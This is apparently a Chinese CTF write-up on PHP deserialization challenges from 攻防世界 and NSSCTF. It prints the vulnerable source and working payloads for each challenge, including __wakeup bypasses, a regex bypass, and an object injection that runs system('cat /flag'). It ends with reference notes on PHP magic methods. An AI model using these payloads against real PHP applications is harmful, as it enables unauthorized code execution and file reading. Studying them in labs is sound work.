攻防世界
unserialize3
打开本题,可看到一下代码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
根据代码,我们需要进行__wakeup绕过然后获取flag,要注入的参数为code。
让成员属性个数大于类中真实的个数即可:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Web_php_unserialize
打开题目,得到以下代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
根据代码,变量var经过base64解码后进行正则匹配,若匹配到o或c,则输出stop hacking!相反,则进行序列化。
输入:index.php?var=O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
编码后:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
NSSCTF
1z_unserialize
打开题目,获得以下代码:
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
根据代码,构造it与lly的值即可,注意本题为POST传参。
输入:nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
ez_ez_unserialize
打开题目,获得以下代码:
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
根据代码,需要绕过wakeup函数。
输入:x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
ez_unserialize
这个题需要在题目后面加/robots.txt
打开会发现cl45s.php文件。打开文件,可获得以下代码:
需要对p进行传参使其满足this-\>admin=="admin"\&\&this->passwd=="ctf"。
输入:?p=O:4:wllm:2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
魔术方法
1、魔术方法简介
定义:一个预定好的,在特定情况下自动触发的行为方法。
作用:魔术方法在特定的条件下自动调用相关方法,最终导致触发代码。
相关机制:触发时机(必须知道)、功能、参数(部分魔术方法会有传参)、返回值
2、魔术方法
__construct()
构造函数,在实例化一个对象的时候,首先会去自动执行的魔术方法;
触发时机:实例化对象时触发。
功能:提前清理不必要内容。
参数:非必要
__destruct()
析构函数,在对象的所以引用被删除或者当对象被显式销毁时执行的魔术方法。
触发时机:对象引用完成或对象被销毁(获取几次对象就触发几次,因为建立对象一定会有销毁过程,实例化后会触发,反序列化后会触发)
无参数
__sleep()
序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。
如果存在,该方法会先被调用,然后才执行序列化的操作。
触发时机:序列化serialize()之前
功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
参数:成员属性
返回值:需要被序列化的成员属性
__wakeup()
unserialize()会检查是否存在一个__wakeup()魔术方法。
如果存在,则会调用__wakeup()方法,预先准备对象需要的资源。
触发时机:反序列化unserialize()之前
功能:常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
__tostring()
触发时机:把对象当成字符串调用
常用于构造POP链;
__invoke()
触发时机:把对象当成函数调用
__call()
触发时机:调用一个不存在的成员方法
参数:两个参数,第一个参数是调用的不存在的函数名,第二个参数是调用时传参数据。
返回值:不存在的成员方法的名称,调用时的参数
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
参数:两个参数
返回值:不存在的成员方法的名称,调用时的参数
<?php
class test{
public function __callStatic($arg1,$arg2){
echo "$arg1,$arg2[0]";
}
}
$test=new test();
$test::callxxx('a');//静态调用
?>
__get()
调用时机:调用的成员属性不存在
参数:一个参数
返回值:不存在的成员属性的名称
__set()
触发时机:给不存在的成员属性赋值
参数:两个参数
返回值:不存在的成员属性的名称和赋的值
__isset()
触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用。
参数:一个参数
返回值:不存在的成员属性的名称
__unset()
触发时机:对不可访问的属性使用unset()时
参数:一个参数
返回值:不存在的成员属性的名称
__clone()
触发时机:当使用clone关键词拷贝完成一个对象后,新对象会自动调用有定义的魔术方法__clone()